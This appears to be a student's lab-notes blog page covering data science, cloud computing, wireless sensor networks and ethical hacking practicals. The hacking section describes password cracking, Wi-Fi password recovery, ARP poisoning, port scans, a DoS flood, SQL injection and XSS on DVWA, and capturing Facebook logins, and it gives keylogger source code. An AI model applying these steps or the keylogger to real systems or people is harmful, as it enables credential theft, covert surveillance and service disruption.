code

Data science

Modules need to install pip install matplotlib
pip install seaborn
pip install plotly
pip install scikit-learn
pip install scipy
pip install numpy
pip install pandas
pip install statsmodels
Open pdf 2 (Dataframes and basic data preprocessing) here is you csv file save as book1.csv
Hours Student Studied Completed Assignment Attendance Final Grade
5 4 2 22 33
6 5 4 75 88
7 5 5 66 60
8 4 4 44 39
4 9 8 55 70
Open pdf 3 (Standardization and Normalization)
Open pdf 4 (Null and alternative hypothesis)
Open pdf 5 (ANOVA)
Open pdf 6 (simple linear regression)
Open pdf 6 (Multiple linear regression)
Open pdf 7 (logistic regresssion and decision tree)
Open pdf 8 (k-mean clustering)
Open pdf 9 (principal component analysis)
Open pdf 10 (Data visualization and storytelling)


Cloud Computing

(CONVERTING RS INTO DOLARS) Go to desktop>cmd> type node filename.js (node app.js)
Copy port no (3000)
Go to browser type--- localhost:3000/convert?amount=100000&to=USD
(SIMPLE SOAP SERVICE USING NODE.js) Open google chrome type--
http://localhost:3300/add/2/3
http://localhost:3300/mult/2/3
http://localhost:3300/div/2/3
Web Application using Spring Boot Initializr.
  • Search for Spring Boot Initializr and Click on first link
  • In the main page, Select ‘Java’ as Language
    and ‘Maven’ for Project
    Next, Select Spring Boot version or leave as Default
    Now, Enter the Project Application Metadata
    Group: com.springboot
    Artifact: springboot
    Name: springboot
    Description: Demo project for Spring Boot
    Package name: com.springboot.app

  • Click on ‘ADD DEPENDENCIES’ and search for ‘Web’ and
    Select ‘Spring Web’ .
    then Click on ‘GENERATE’ and a zip file ‘springboot.zip’ will download .
    Locate the zip file and extract it into a safe directory location
  • Open up a Java IDE like ‘Intellij IDEA’ .
    Click on ‘Open’ and locate the extracted folder .Now the Spring Boot application is open in an IDE

  • Locate the ‘com.springboot.app’ folder which is located as
    ‘src > main > java > com.springboot.app’.Right-click on the folder and
    Select ‘New’ and ‘Java Class’
  • Give it the name ‘Welcome Controller’ and Select ‘Class’.
    A file named ‘WelcomeController.java’ is created
  • Add this code in the file

    package com.springboot.app;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RestController;
    @RestController
    public class WelcomeController { @GetMapping("/welcome") public String welcome() { return "Welcome to spring boot application"; } }

  • Now open the ‘SpringbootApplication’ file and click on run.
    Now, Goto any Web Browser and type ‘http://localhost:8080/welcome’














  • (GOOGLE’s MAP RESTFUL WEB SERVICE))
    see the steps below.
  • Search for ‘LocationIQ’ and Click on first link
    We need to Sign Up to use this service
    Click on ‘SIGN UP’ on the top-right corner .
    Goto ‘Gmail’ and search for the email from ‘LocationIQ’ and Click on the link inside the email .
    After you Click on the link, you will be redirected Select the APIs you will use and
    Click ‘GET STARTED'.You are now in the ‘Playground’
    Select ‘Access Tokens’.
    Click on ‘Show Token’ this will reveal the API Token that will be used by the Python Program.
    Copy the Token Key.
    Now in your Python program find the variable
    e.g ‘api_key = 'pk.2ef786d9ade193b7bb86ab450d731458'’ And
    Replace the value with the copied Token Key
  • output:-
    Enter the location:mumbai
  • Develop an application to download and upload files to server using MTOM Techniques.
    download the code and see the process below.
  • OPEN POSTMAN OPEN A NEW PAGE and CHOOSE POST METHOD
    ENTER THE URL OF THE SERVER: http://localhost:3000/upload
    THEN CLICK ON BODY>FORM DATA>NAME THE KEY ITEM AND FILE TYPE: FILE
    IN VALUE TAB ENTER THE FILE YOU WANT TO UPLOAD TO THE SERVER
    CLICK ON SEND
    Upload Output:
  • download the file


  • hello

    Ethical Hacking


    Practical 1
    Use Google and Whois for Reconnaissance.

    1. Step1: Open the WHO.is website
      Step 2: Enter the website name and hit the “Enter button”.
      Step 3: It Shows you information about www.prestashop.com

    Practical 2
    a) Use CrypTool to encrypt and decrypt passwords
    using RC4 algorithm
    b) Use Cain and Abel for cracking Windows account password using
    Dictionary attack andtodecode wireless network passwords
    1. a) Use CrypTool to encrypt and decrypt passwords using RC4 algorithm

      Step 1: Install Cryptool from official cryptool website
      https://www.cryptool.org/en/ct1/downloads/
      Step 2: Take new file and enter plain text
      Step 3: To Encrypt Click on Encrypt/Decrypt > Symmetric(modern) > RC4
      Step 4: Take the number of bits and Click Encrypt
      Step 5: To Decrypt Again click on Encrypt/Decrypt > Symmetric(modern) > RC4
      Step 6: Take the number of bits and Click Decrypt
      b)
      1. Use Cain and Abel for cracking Windows account password using dictionary attack
      Step 1: Open the software, click on Cracker tab => Hash Calculator tool as shown in the image
      Step 2: A dialogue box appears after clicking on hash calculator,Add the text then click
      Calculate hash code and then Copy MD5 hash value
      Step 3: Click on MD5 Hashes,Click on Add list (This symbol ‘+’) =>Paste Hash Value.
      Step 4:Right Click on the hash and select the dictionary attack.
      Then right click on the file and select (Add to List) and then select the Wordlist.
      Step 5: Select all the options and Click Start.(Password is now cracked and added to list)
      2. Decoding Wireless Network Password Cain and Abel can recover saved Wi-Fi passwords from a Windows system. Steps(Enable Wireless Sniffing):
      Step 1: Open Cain and go to the "Sniffer" tab.
      Step 2: Click "Start Sniffing".
      Step 3: Click "Wireless Passwords".
      Then Click Add to List.
      Step 4: Retrieve Saved Wi-Fi Passwords.
      If Windows has stored the Wi-Fi passwords, Cainwill display them under this section.

    Practical 3
    a) Run and analyze the output of following commands in Linux –
    ifconfig, ping, netstat, traceroute
    b) Perform ARP Poisoning in Windows


    1. Solution:
      a) Linux Commands:
      1. ifconfig 2. netstat 3. ping 8.8.8.8      4. traceroute 8.8.8.8
      b) ARP Poisoning
      Steps:
      1) Open Cain and Abel.
      Click on Sniffer tab
      2) Click on Start/Stop Sniffer and Click on
      “+” icon on the top. Apply range/all host and
      Click on OK.
      3) After scanning Shows the Connected host.
      4) Click on ARP tab on the bottom
      5) Click on “+” icon at the top
      6) Click on start/stop ARP icon on top.
      It is now Poisoning the source.
      7) Go to any website on source ip address
      8) Go to password option in the cain and abel
      and see the visited site password

    Practical 4
    Use NMap scanner to perform port scanning of various forms
    – ACK, SYN, FIN,NULL, XMAS

    1. 1.ACK -sA{TCP ACK scan}==> nmap -SA-T4 scanme.nmap.org
      2.SYN {Stealth} Scan (-sS) ==> пmар -р22,113,139 scanme.nmap.org
      3.FIN Scan (-sF) ==> nmap -sF -T4 scanme.nmap.org
      4. NULL Scan (-sN) ==> nmap –sN –p 22 scanme.nmap.org
      5. XMAS Scan (-sX) ==> nmap -sX -T4 scanme.nmap.org

    For viva

    TCP TCP Flags Used Use Case Full TCP Handshake Scan
    ACK Scan ACK Detecting firewalls, not port states
    It never determines open (or even open|filtered) ports.
    It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.
    ACKnowledgement Scan
    SYN Scan SYN Common for fast/stealth port scanning and Detect open/closed/filtered ports. SYNchronize Scan (Stealth Scan)
    FIN Scan FIN Bypassing stateless firewalls Finish Scan
    NULL Scan None Confuses basic filters and IDS and Sends a TCP packet with no flags.
    Does not set any bits (TCP flag header is 0)
    No Flag Scan
    XMAS Scan FIN, URG, PSH
    reate a "Christmas tree" packet.
    Bypassing security filters Christmas Tree Scan (sets multiple TCP flags like a lit tree)

    Practical 5
    a) Use Wireshark (Sniffer) to capture network traffic and analyse
    b) Use Nemesy to launch DoS attack
    1. Solution: a) Use Wireshark (Sniffer) to capture network traffic and analyse

      1. Open Wireshark and select your Connection
      2. Open any http website and add display filter as http
      3. Right Click on the POST method >> Follow >> TCP stream4. Search for ‘credentials’ in the dialog box
      b)DoS Attack Using Nemesy Nemesy is a tool that can generate high amounts of network traffic, simulating a Denial of Service(DoS) attack.
      Steps to Launch a DoS Attack
      Using Nemesy

      1. Download and Install Nemesy Download Nemesy.exe from a trusted security research source. Run it as Administrator. 2. Configure the DoS Attack
      i. Enter the Target IP
      ii. Set the Packet Size (e.g., 1000 bytes). 3. Choose the Protocol:
      i. ICMP (Ping Flood) → Overloads the target with ping requests.
      ii. UDP Flood → Sends massive amounts of UDP packets.
      iii. TCP SYN Flood → Consumes server resources with half-open connections. 4. Start the Attack
      i. Click Start Attack and observe the network slowdown on the target device.
      ii. Use Wireshark on the target system to capture the flood traffic. 5. Stop the Attack Once you’ve observed the impact:
      i. Click Stop Attack in Nemesy.
      ii. Check Wireshark for excessive ICMP, TCP, or UDP packets

    Practical 8
    : Perform SQL injection attack.
    1. Download XAMPP
    2. Download DVWA file from GitHub
    3. Paste DVWA folder in C:\xampp\htdocs and rename to DVWA
    4. Go to config.inc and rename as config.inc.php
    5. Open XAMPP Control Panel and start Apache and MySQL
    6. Open Chrome and go to localhost/DVWA/setup.php
    7. click on create database .the database will be created
      Username="admin" and password="password"
      Go to DVWA security and set the security to low
    8. Click on sql injection
      in userid - enter 1 or 1*and click on submit and type a' or '='
    9. ***if port is busy then you can use this code in cmd >netstat -ano | findstr :3306 and
      >taskkill /PID 5536 /F * here 5536 may be different .

    Practical 6
    Simulate persistent cross-site scripting attack.
    1. 1. Download and Install xampp first
      2. Download and Extract the DVWA zip file.
      3. Copy the folder and paste it in Drive C: > xampp > htdocs
      4. Rename the file as DVWA.
      5. Go in the config file and rename the file as config.inc.php
      6. Open xampp control panel and
      7. Open chrome and search localhost/DVWA.
      8. Click on create/reset database. The database will be created. Click on login.
      9. Username = “Admin” and Password = “password”.
      Click on login
      10. Click on DVWA security and set the security to low
      11. Click on XSS (Stored)
      write the script and click on sign guestbook.
      The script will be executedwhenever the page is reloaded.

    Practical 7
    :Session impersonation using Firefox and Tamper Data add-on.
    1. 1. Open Firefox
      2. Go to tools > Add on > Extension
      3. Search and install Temper Data.
      4. Go to facebook login page
      . 5. Now click on tamper add on and start tampering the data.
      6. Now enter the username and password in the facebook login page.
      7. Your username and password is been captured
      using session impersonation.
      8. Select a website for tempering data e.g(razorba).
      9. Select any item to buy
      10. Then click on add-cart
      11. Then click on TemperData(add-on)12. Refresh the page to get the extension.
      Click on OK
      14. Change values in Cookie option for tempering the DATA
      15. Then click on OK and see the Data has been Tempered
    2. html lang="en" head meta charset="UTF-8" meta name="viewport" content="width=device-width, initial-scale=1.0" titleLogin Page/title /head body h2Login/h2 form id="loginForm" label for="username"Username/label input type="text" id="username" name="username" placeholder="Enter your username" required label for="password"Password/label input type="password" id="password" name="password" placeholder="Enter your password" required button type="submit"Login/button /form div pDon't have an account? a href="#"Sign Up/a/p /div script // Check if user data exists in local storage if (localStorage.getItem('username') && localStorage.getItem('password')) { document.getElementById('username').value = localStorage.getItem('username'); document.getElementById('password').value = localStorage.getItem('password'); } // Handle form submission document.getElementById('loginForm').addEventListener('submit', function(event) { event.preventDefault(); // Get username and password values const username = document.getElementById('username').value; const password = document.getElementById('password').value; // Save username and password to local storage localStorage.setItem('username', username); localStorage.setItem('password', password); // Save username and password to cookies for 7 days document.cookie = `username=${username}; max-age=${7 * 24 * 60 * 60}; path=/`; document.cookie = `password=${password}; max-age=${7 * 24 * 60 * 60}; path=/`; alert('Login successful. Username and password saved.'); }); /script /body /html

    Practical 9
    Create a simple keylogger using python .
    1. from pynput.keyboard import Key, Listener # Import keyboard listener
      import logging
      import os


      log_dir = "" # Log file directory (leave empty for current directory)
      log_file = log_dir + "key_log.txt" # Full file path
      # Check if the directory exists (create it if it doesn't)

      if log_dir and not os.path.exists(log_dir):
          os.makedirs(log_dir)

      # Configure logging
      logging.basicConfig(filename=log_file, level=logging.DEBUG, format='%(asctime)s: %(message)s')

      print(f"Logging keys to {log_file}") # For debugging: Confirm the log file path

      def on_press(key):
          try:
              logging.info(str(key)) # Log the key press
          except Exception as e:
              print(f"Error logging key: {e}") # If an error occurs, print it


      with Listener(on_press=on_press) as listener:
          listener.join() # Start listening to keyboard events

    practical 4
    practical 9 (given below)


    from pynput.keyboard import Key, Listener # Import keyboard listener
    import logging # Import logging module
    log_dir="" # Log file directory
    logging.basicConfig(filename=(log_dir + "key_log.text"), # Log file level=logging.DEBUG, # Set log level
    format='%(asctime)s: (%message)s:') # Log format
    def on_press (key):
        logging.info (str(key)) #Log key press
    with Listener(on_press=on_press) as listener:
        listener.join() #Keep listener running

    WSN

    wsn practicle 1
    Understanding the Sensor Node Hardware.
    (For Eg. Sensors, Nodes(Sensor mote),
    Base Station, Graphical User Interface.)
  • Sensors: Sensors are connected to each node via wired connections. These sensors measure various environmental and soil conditions, such as soil moisture, electrical conductivity, soil temperature, water pressure, flow rate, and a range of weather variables like light, air temperature, wind, and humidity. An example of a sensor is the EC-5 sensor (Decagon Devices, Inc., Pullman, WA), which measures volumetric water content (soil moisture) in the soil.
    figure 2: An EC-5 sensor that measures soil moisture.
    Nodes: Nodes collect data from the sensors and transmit it to a base station computer. This transmission can be either one-way (for monitoring) or two-way (for both monitoring and control) via radio. Nodes are responsible for monitoring environmental and soil conditions, but some nodes also have the ability to make control decisions. For example, the nR5 node (Decagon Devices, Inc., Pullman, WA) is powered by 5 AA batteries and can connect to multiple soil moisture sensors. It also has the capability to control irrigation valves based on user-defined settings
    Base Station: The base station connects the WSN system to the internet, allowing the data collected by the nodes to be accessed remotely via any internet-enabled device. The base station acts as a hub for data transmission from the nodes and enables remote monitoring and control.
    Figure 3: The nR5 node, which collects data from multiple soil moisture sensors and controls irrigation valves.
    Graphical User Interface (GUI): The GUI is a web-based software platform that allows users to view the data collected by the sensors. It also enables users to set irrigation parameters. The graphical interface visualizes soil moisture levels and irrigation events. For example, soil moisture is represented as horizontal lines, and irrigation events are shown as bars, with moisture levels increasing after each irrigation event. Relay Switch: The relay switch controls the irrigation valve(s) based on the data and settings provided by the user. This allows for automated irrigation control based on real-time soil moisture readings.
    Example of an environmental monitoring system similar to this setup is the wireless system used by the National Weather Service (NWS). These systems measure environmental conditions and transmit the data to a central node, which wirelessly sends the information to a base station. The data can then be accessed via a website or app, allowing users to view the current weather conditions, such as temperature, rainfall, and wind speed.
    Figure 5: Typical environmental monitoring sensors used by the National Weather Service (NWS). These same sensors can be used in a wireless sensor network for agricultural purposes.
  • wsn practicle 2
    Exploring and understanding TinyOS computational concepts:
    a) Events, Commands and Task.
    b) nesC model
    c) nesC Components
    
    1. Introduction
    This practical explores TinyOS computational concepts such as events, commands, andtasks,
    implemented using nesC, a dialect of C optimized for networked embedded systems likeWirelessSensor Networks (WSN). 2. Wireless Sensor Networks and TinyOS
     WSN Vision: Ubiquitous computing with small, low-power, dynamic sensor nodes.  Characteristics: Extreme dynamics, sensor-radio interaction, energy constraints.  Challenges: Limited resources, concurrency, real-time processing, reliability. 3. TinyOS Architecture
     Component-Based: Reusable system components (ADC, Timer, Radio).  Event-Driven Model: Task-based concurrency (no traditional context switching).  Split-Phase Operations: Long operations are divided into request and completion. 4. nesC Programming Model
    4.1 Components in nesC
     Modules: Implement application logic, store private state.  Configurations: Wire modules together.  Interfaces: Define bidirectional communication. 4.2 Example Component Graph
    +------------+ +----------+ +----------+
    | MainC | -> | BlinkM | -> | LedsC |
    +------------+ +----------+ +----------+
    4.3 Example Code: Blinking LED Application
    Module:
    module BlinkM {
    provides interface StdControl as Control;
    uses interface Timer;
    uses interface Leds;
    }
    implementation {
    command result_t Control.start() {
    call Timer.start(TIMER_REPEAT, 1000);
    return SUCCESS;
    }
    event result_t Timer.fired() {
    call Leds.redToggle();
    return SUCCESS;
    }
    }
    Configuration:
    configuration BlinkC {
    }
    implementation {
    components MainC, BlinkM, TimerC, LedsC;
    BlinkM.Timer -> TimerC.Timer[unique("Timer")];
    BlinkM.Leds -> LedsC;
    }
    5. TinyOS Concurrency Model
    5.1 Sources of Concurrency
     Tasks: Deferred execution, non-preemptive.  Events: Triggered by hardware interrupts, can preempt tasks. 5.2 Example: Handling Sensor Data
    module SensorM {
    uses interface Sensor;
    }
    implementation {
    async event result_t Sensor.dataReady(uint16_t data) {
    post processSensorData(data);
    return SUCCESS;
    }
    task void processSensorData(uint16_t data) {
    // Process sensor data safely
    }
    }
    6. nesC Toolchain
    6.1 Installation (Linux/WSL)
    sudo apt install tinyos-tools nescc
    source /opt/tinyos-2.x/tinyos.sh
    6.2 Compilation & Execution
    make micaz sim
    ./build/micaz/main.exe
    7. Debugging & Optimization
    7.1 Race Condition Prevention
     Use atomic sections to protect shared state.  Convert shared state updates into tasks. Example:
    atomic { shared_var = 1; }
    7.2 Whole-Program Analysis
     Detect race conditions at compile-time.  Optimize cross-component function calls. 8. Conclusion
     TinyOS's event-driven model and nesC's component-based architecture optimizeWSNapplications.  The split-phase approach efficiently handles limited resources.  Whole-program analysis improves reliability and performance. 9. Further Study
     Power Management: Implementing duty-cycling.  Network Communication: Handling multi-hop routing.  Advanced Debugging: Using nesdoc for documentation.
    

    WSN

    practical 5 : Understanding, Reading and Analyzing Routing Table of a network.

    practical 7 : Implement a Wireless sensor network simulation.
    practical 8 : Create MAC protocol simulation implementation for wireless sensor Network.

    practical 9 : Simulate Mobile Adhoc Network with Directional Antenna.

    एक टिप्पणी भेजें

    0 टिप्पणियाँ